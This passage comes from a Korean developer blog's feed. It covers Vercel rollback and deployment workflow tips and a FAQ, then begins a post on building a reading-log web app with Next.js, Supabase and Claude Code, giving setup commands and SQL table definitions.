vercel promote myapp-abc123.vercel.app&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;롤백 전략&lt;/h3&gt;
&lt;p&gt;1인 개발자에게 추천하는 롤백 전략입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1. 배포 전: 현재 프로덕션 URL 메모
2. 배포 후: 핵심 기능 5분 내 수동 테스트
3. 문제 발견: 즉시 이전 버전으로 롤백
4. 원인 분석: 로컬에서 디버깅 후 수정 배포&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;자동 배포 워크플로 전체 요약&lt;/h2&gt;
&lt;p&gt;최종적으로 완성된 배포 워크플로를 정리합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;[코드 수정] → [git push] → [Vercel 자동 빌드]
                                    ↓
                            [빌드 성공?]
                           /            \
                        Yes              No
                         ↓                ↓
                  [자동 배포]      [빌드 로그 확인]
                       ↓                  ↓
              [헬스 체크 통과?]    [코드 수정 후 재push]
                     ↓
            [프로덕션 반영 완료]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단계&lt;/th&gt;
&lt;th&gt;작업&lt;/th&gt;
&lt;th&gt;소요 시간&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;push&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;git push origin main&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;즉시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;빌드&lt;/td&gt;
&lt;td&gt;Next.js 빌드 + 최적화&lt;/td&gt;
&lt;td&gt;1~3분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;배포&lt;/td&gt;
&lt;td&gt;Edge Network 배포&lt;/td&gt;
&lt;td&gt;30초&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSL&lt;/td&gt;
&lt;td&gt;인증서 확인&lt;/td&gt;
&lt;td&gt;자동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;완료&lt;/td&gt;
&lt;td&gt;프로덕션 반영&lt;/td&gt;
&lt;td&gt;총 2~4분&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;Q1. Vercel 무료 플랜으로 실제 서비스 운영이 가능한가요?&lt;/h3&gt;
&lt;p&gt;네, 가능합니다. Vercel Hobby 플랜은 월 100GB 대역폭, 무제한 배포를 제공합니다. 일일 방문자가 수천 명 수준이라면 무료 플랜으로 충분합니다. 다만, 상업적 용도(팀 프로젝트, 유료 서비스)라면 Pro 플랜을 권장합니다. Hobby 플랜은 비상업적/개인 프로젝트 용도입니다.&lt;/p&gt;
&lt;h3&gt;Q2. 환경변수를 변경하면 자동으로 재배포되나요?&lt;/h3&gt;
&lt;p&gt;아닙니다. 환경변수를 변경한 후에는 &lt;strong&gt;수동으로 재배포&lt;/strong&gt;해야 합니다. Vercel 대시보드에서 Deployments 탭의 최신 배포에서 &quot;Redeploy&quot; 를 클릭하거나, 빈 커밋을 push하면 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 빈 커밋으로 재배포 트리거&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; commit --allow-empty &lt;span class=&quot;token parameter variable&quot;&gt;-m&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;chore: trigger redeploy&quot;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; push origin main&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Q3. 빌드가 실패했을 때 어떻게 디버깅하나요?&lt;/h3&gt;
&lt;p&gt;Vercel 대시보드에서 실패한 배포를 클릭하면 전체 빌드 로그를 확인할 수 있습니다. 가장 흔한 빌드 실패 원인은 다음과 같습니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;환경변수 미설정&lt;/strong&gt;: 로컬에서는 &lt;code class=&quot;language-text&quot;&gt;.env.local&lt;/code&gt;에 있지만 Vercel에 등록하지 않은 경우&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;타입 에러&lt;/strong&gt;: 로컬에서는 무시했지만 &lt;code class=&quot;language-text&quot;&gt;next build&lt;/code&gt; 시 에러가 발생하는 경우&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;의존성 문제&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;package-lock.json&lt;/code&gt;이 커밋되지 않은 경우&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;로컬에서 &lt;code class=&quot;language-text&quot;&gt;next build&lt;/code&gt;를 먼저 실행해서 빌드 에러를 확인하는 습관을 들이세요.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;다음 포스팅에서는 서비스를 출시한 후 반드시 해야 할 &lt;strong&gt;운영과 모니터링&lt;/strong&gt; 에 대해 다룹니다. 에러 트래킹, 사용자 분석, 비용 관리까지 -- 1인 개발자가 서비스를 안정적으로 운영하는 방법을 알려드리겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[AI로 풀스택 개발하기 — Claude Code + Supabase 실전]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "설계까지 끝났으니, 이제 진짜 코드를 작성할 차례입니다." 지난 두 포스팅에서 AI와 함께 기획하고, ERD/API…]]></description><link>https://blog.javapark.kr/03-fullstack-development/</link><guid isPermaLink="false">https://blog.javapark.kr/03-fullstack-development/</guid><pubDate>Sat, 04 Apr 2026 11:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;설계까지 끝났으니, 이제 진짜 코드를 작성할 차례입니다.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;지난 두 포스팅에서 AI와 함께 기획하고, ERD/API/와이어프레임까지 설계하는 과정을 다뤘습니다. 이번 포스팅에서는 드디어 &lt;strong&gt;실제 코드를 작성&lt;/strong&gt;합니다. Claude Code와 Supabase를 활용해서 &quot;독서 기록 웹앱&quot;의 핵심 기능을 구현하는 과정을 단계별로 보여드리겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;개발 환경 세팅 — Next.js + Supabase 프로젝트 초기화&lt;/h2&gt;
&lt;h3&gt;1단계: Next.js 프로젝트 생성&lt;/h3&gt;
&lt;p&gt;터미널에서 아래 명령어를 실행합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;npx create-next-app@latest book-log &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--typescript&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--tailwind&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--eslint&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--app&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  --src-dir &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  --import-alias &lt;span class=&quot;token string&quot;&gt;&quot;@/*&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2단계: 필수 패키지 설치&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; book-log

&lt;span class=&quot;token comment&quot;&gt;# Supabase&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; @supabase/supabase-js @supabase/ssr

&lt;span class=&quot;token comment&quot;&gt;# UI 유틸리티&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; clsx tailwind-merge

&lt;span class=&quot;token comment&quot;&gt;# 아이콘&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; lucide-react

&lt;span class=&quot;token comment&quot;&gt;# 날짜 처리&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; date-fns&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;3단계: 환경 변수 설정&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;.env.local&lt;/code&gt; 파일을 생성하고, Supabase 프로젝트의 URL과 anon key를 입력합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token assign-left variable&quot;&gt;NEXT_PUBLIC_SUPABASE_URL&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;https://your-project.supabase.co
&lt;span class=&quot;token assign-left variable&quot;&gt;NEXT_PUBLIC_SUPABASE_ANON_KEY&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;eyJhbGciOiJIUzI1NiIsInR&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 값은 Supabase 대시보드 &gt; Settings &gt; API에서 확인할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Supabase 셋업 — 프로젝트 생성부터 테이블 생성까지&lt;/h2&gt;
&lt;h3&gt;Supabase 프로젝트 생성&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://supabase.com&quot;&gt;supabase.com&lt;/a&gt;에서 회원가입&lt;/li&gt;
&lt;li&gt;&quot;New Project&quot; 클릭&lt;/li&gt;
&lt;li&gt;프로젝트명: &lt;code class=&quot;language-text&quot;&gt;book-log&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;비밀번호 설정 (DB 접근용, 반드시 기록해두세요)&lt;/li&gt;
&lt;li&gt;리전: &lt;code class=&quot;language-text&quot;&gt;Northeast Asia (Tokyo)&lt;/code&gt; 선택&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;SQL Editor에서 테이블 생성&lt;/h3&gt;
&lt;p&gt;Supabase 대시보드 &gt; SQL Editor에서, 이전 포스팅에서 설계한 SQL을 실행합니다. 여기서 핵심 부분만 다시 정리하겠습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;-- 커스텀 타입&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TYPE&lt;/span&gt; reading_status &lt;span class=&quot;token keyword&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ENUM&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;want_to_read&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;reading&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;finished&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TYPE&lt;/span&gt; memo_type &lt;span class=&quot;token keyword&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ENUM&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;note&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;quote&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;review&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- profiles 테이블&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; profiles &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  id UUID &lt;span class=&quot;token keyword&quot;&gt;REFERENCES&lt;/span&gt; auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;users&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;DELETE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CASCADE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;PRIMARY&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;KEY&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  username &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;UNIQUE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  avatar_url &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  created_at TIMESTAMPTZ &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;NOW&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  updated_at TIMESTAMPTZ &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;NOW&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- books 테이블&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; books &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  id UUID &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; gen_random_uuid&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;PRIMARY&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;KEY&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  isbn &lt;span class=&quot;token keyword&quot;&gt;VARCHAR&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;UNIQUE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  title &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  author &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  publisher &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  cover_image_url &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  page_count &lt;span class=&quot;token keyword&quot;&gt;INTEGER&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  published_date &lt;span class=&quot;token keyword&quot;&gt;DATE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  description &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  created_at TIMESTAMPTZ &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;NOW&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- reading_records 테이블&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; reading_records &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  id UUID &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; gen_random_uuid&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;PRIMARY&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;KEY&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  user_id UUID &lt;span class=&quot;token keyword&quot;&gt;REFERENCES&lt;/span&gt; profiles&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;DELETE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CASCADE&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  book_id UUID &lt;span class=&quot;token keyword&quot;&gt;REFERENCES&lt;/span&gt; books&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;DELETE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CASCADE&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;status&lt;/span&gt; reading_status &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;want_to_read&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  start_date &lt;span class=&quot;token keyword&quot;&gt;DATE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  end_date &lt;span class=&quot;token keyword&quot;&gt;DATE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  rating &lt;span class=&quot;token keyword&quot;&gt;SMALLINT&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CHECK&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;rating &lt;span class=&quot;token operator&quot;&gt;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;AND&lt;/span&gt; rating &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  created_at TIMESTAMPTZ &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;NOW&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  updated_at TIMESTAMPTZ &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;NOW&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;UNIQUE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;user_id&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; book_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- memos 테이블&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; memos &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  id UUID &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; gen_random_uuid&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;PRIMARY&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;KEY&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  user_id UUID &lt;span class=&quot;token keyword&quot;&gt;REFERENCES&lt;/span&gt; profiles&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;DELETE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CASCADE&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  book_id UUID &lt;span class=&quot;token keyword&quot;&gt;REFERENCES&lt;/span&gt; books&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;DELETE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CASCADE&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  content &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  page_number &lt;span class=&quot;token keyword&quot;&gt;INTEGER&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  memo_type memo_type &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;note&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  created_at TIMESTAMPTZ &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;NOW&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  updated_at TIMESTAMPTZ &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;NOW&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;신규 가입 시 자동 프로필 생성 트리거&lt;/h3&gt;
&lt;p&gt;사용자가 가입하면 자동으로 &lt;code class=&quot;language-text&quot;&gt;profiles&lt;/code&gt; 테이블에 레코드가 생성되도록 합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;OR&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;REPLACE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FUNCTION&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;handle_new_user&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;RETURNS&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TRIGGER&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;AS&lt;/span&gt; $$
&lt;span class=&quot;token keyword&quot;&gt;BEGIN&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;INSERT&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INTO&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;profiles &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; username&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; avatar_url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;VALUES&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    NEW&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
